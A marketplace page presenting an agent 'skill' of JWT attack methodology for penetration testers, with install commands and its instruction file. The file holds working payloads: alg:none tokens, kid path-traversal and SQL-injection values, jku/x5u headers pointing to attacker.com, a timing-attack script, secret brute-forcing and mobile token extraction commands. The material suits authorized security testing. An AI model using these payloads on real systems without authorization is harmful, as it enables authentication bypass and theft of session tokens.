Mmcp.market

offensive-jwt skill

by SnailSploit·SnailSploit/Claude-Red·7.0k stars·MIT

JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps.

A100/100content scan

Is the offensive-jwt skill safe?

Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.

No findings.

Install the offensive-jwt skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. 

git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-Red/Skills/auth/offensive-jwt ~/.claude/skills/offensive-jwt
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Overview

Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.

Quick Reference: Misconfigurations to Check

  • Algorithm set to none — signature verification bypassed entirely
  • Algorithm switching between RSA and HMAC (confusion attack)
  • Weak or guessable HMAC secret (brute-forceable)
  • kid, jku, jwk, x5u header parameters accepted without validation
  • Expired or tampered tokens accepted by server
  • Sensitive data stored unencrypted in payload

Useful tool: JWT Tool

Mechanisms

JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.

Signing algorithms:

Additional pitfalls:

  • JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected typ/cty
  • JWKS retrieval: SSRF via jku/x5u, insecure TLS, poisoned key caching, kid collisions
  • Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients

Hunt: Identifying JWT Usage

  1. Check Authorization: Bearer headers in all requests
  2. Look for cookies containing JWT structures (eyJ...)
  3. Examine browser local/session storage
  4. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
  5. Note any kid, jku, jwk, x5u fields in the header — these are attack surfaces

Vulnerability Map

JWT Vulnerabilities
├── Algorithm Bypass
│   ├── alg:none attack
│   └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│   ├── SQL injection via kid
│   └── Path traversal via kid
├── Header Injection
│   ├── jwk (inline fake key)
│   ├── jku/x5u (remote attacker-controlled JWKS)
│   └── JWKS cache poisoning
└── Missing / Broken Validation
    ├── No signature check
    ├── Expired tokens accepted
    └── iss/aud/exp not validated

Vulnerabilities

Algorithm Vulnerabilities

  • alg:none — Some libraries disable signature validation when alg is none or a case variant (None, NONE, nOnE)
  • Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches alg to HS256; attacker re-signs token with the public key
  • Key ID (kid) Manipulation — Exploiting kid to load wrong keys or inject file paths / SQL; enforce strict lookups

Signature Vulnerabilities

  • Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
  • Missing Signature Validation — Token accepted without any verification
  • Broken Validation — Implementation errors in signature checking logic

Implementation Issues

  • Missing Claims Validation — exp, nbf, aud, iss not verified
  • Insufficient Entropy — Predictable JWT IDs or tokens
  • No Expiration — Tokens valid indefinitely
  • Insecure Transport — Token sent over HTTP
  • Debug Leakage — Detailed error messages expose implementation

Header Injection Attacks

  • JWK Injection — Supply a custom attacker-controlled public key via the jwk header
  • JKU Manipulation — Point jku (JWK Set URL) to attacker-controlled JWKS endpoint
  • x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
  • JWKS Cache Poisoning — Force caches to accept attacker keys via kid collisions or response header manipulation
  • crit Header Abuse — Server ignores unknown critical parameters, enabling bypass

Information Disclosure

  • Sensitive data (PII, credentials, session details) stored unencrypted in payload
  • Internal service/backend information leaked via claims

Additional Attack Vectors

Mobile App JWT Storage

Android:

  • SharedPreferences: Check if world-readable; location /data/data//shared_prefs/
  • Keystore extraction: root device or exploit app
  • Backup extraction: adb backup -f backup.ab (if allowBackup=true)
  • Tools: Frida, objection, MobSF

iOS:

  • Keychain: Check kSecAttrAccessible — kSecAttrAccessibleAlways is insecure
  • iTunes/iCloud backup extraction: unencrypted backups expose Keychain
  • Jailbreak + Keychain-Dumper for full extraction
  • Tools: Frida, objection, idb

React Native / Hybrid:

  • AsyncStorage stored in plain text (Android SQLite DB, iOS plist); no encryption by default
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"

# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT

JWT Confusion Attacks

  • SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
  • API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
  • Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
  • OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource

# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource

Timing Attacks on HMAC

Non-constant-time comparison leaks the HMAC secret character by character via response time differences.

import requests, time

def time_request(signature):
    start = time.perf_counter()
    r = requests.get('https://target/api',
                     headers={'Authorization': f'Bearer header.payload.{signature}'})
    return time.perf_counter() - start

# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
    sig = bytes([byte]) + b'\x00' * 31
    t = time_request(sig.hex())

JWT in URL Parameters

  • Tokens in GET URLs appear in server logs, proxy logs, browser history
  • Leaked via Referer header to external sites; CDN/cache logs may persist tokens
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."

Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.

Manual Testing Steps

  1. Decode and Inspect:
base64url_decode(header) . base64url_decode(payload) . signature
  1. Test none Algorithm (try all case variants):
{"alg":"none","typ":"JWT"}.payload.""
   {"alg":"None","typ":"JWT"}.payload.""
   {"alg":"NONE","typ":"JWT"}.payload.""
   {"alg":"nOnE","typ":"JWT"}.payload.""
  1. Algorithm Confusion (RS256→HS256):
# Re-sign with RSA public key used as HMAC secret
   {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
  1. kid Parameter Attacks:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
   {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
   {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
  1. JWK/JKU Injection:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
   {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
  1. x5u / crit Handling:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
   {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
  1. Brute Force HMAC Secret:
python3 jwt_tool.py <token> -C -d wordlist.txt
  1. Test Missing Claim Validation:

More skills from SnailSploit/Claude-Red

  • Aoffensive-active-directoryActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
  • Aoffensive-advanced-redteamComprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.
  • Coffensive-ai-security
  • Aoffensive-anti-forensicsAnti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
  • Aoffensive-api-abuseAdvanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.
  • Aoffensive-api-securityComprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.
  • Aoffensive-bluetooth-bleBluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.
  • Aoffensive-bluetooth-classicBluetooth Classic (BR/EDR) attack methodology — device discovery, service enumeration via SDP, LMP/L2CAP layer attacks, legacy PIN cracking (BlueBorne / KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial / automotive / accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories.
  • Aoffensive-bug-identification
  • Aoffensive-business-logicBusiness logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact.
  • Aoffensive-c2-frameworksCommand and Control framework deployment, configuration, and operational tradecraft for red team engagements. Covers Cobalt Strike (malleable C2 profiles, Beacon types HTTP/HTTPS/DNS/SMB, Beacon Object Files for in-memory execution, sleep and jitter tuning, named pipe pivoting), Sliver (implant generation across mTLS/WireGuard/DNS transport, operator multiplayer mode, armory extensions), Mythic (agent ecosystem with Apollo/Poseidon/Medusa, C2 profile configuration, translation containers), Havoc (Demon agent with sleep obfuscation via Ekko/Zilean, indirect syscalls, dotnet inline execution), Metasploit (msfvenom payload generation, multi/handler staging, Meterpreter post-exploitation modules), redirector architecture using Apache mod_rewrite and Nginx, domain fronting through CDN providers, DNS-based C2 for restrictive network egress, and TLS certificate management for infrastructure OPSEC. Tools: Cobalt Strike, Sliver, Mythic, Havoc, Metasploit Framework. Aligns to MITRE ATT&CK T1071 (Application Layer Protocol), T1573 (Encrypted Channel), T1090 (Proxy/Connection Proxy).
  • Doffensive-cicd-pipelineComprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures.

All agent skills → · MCP servers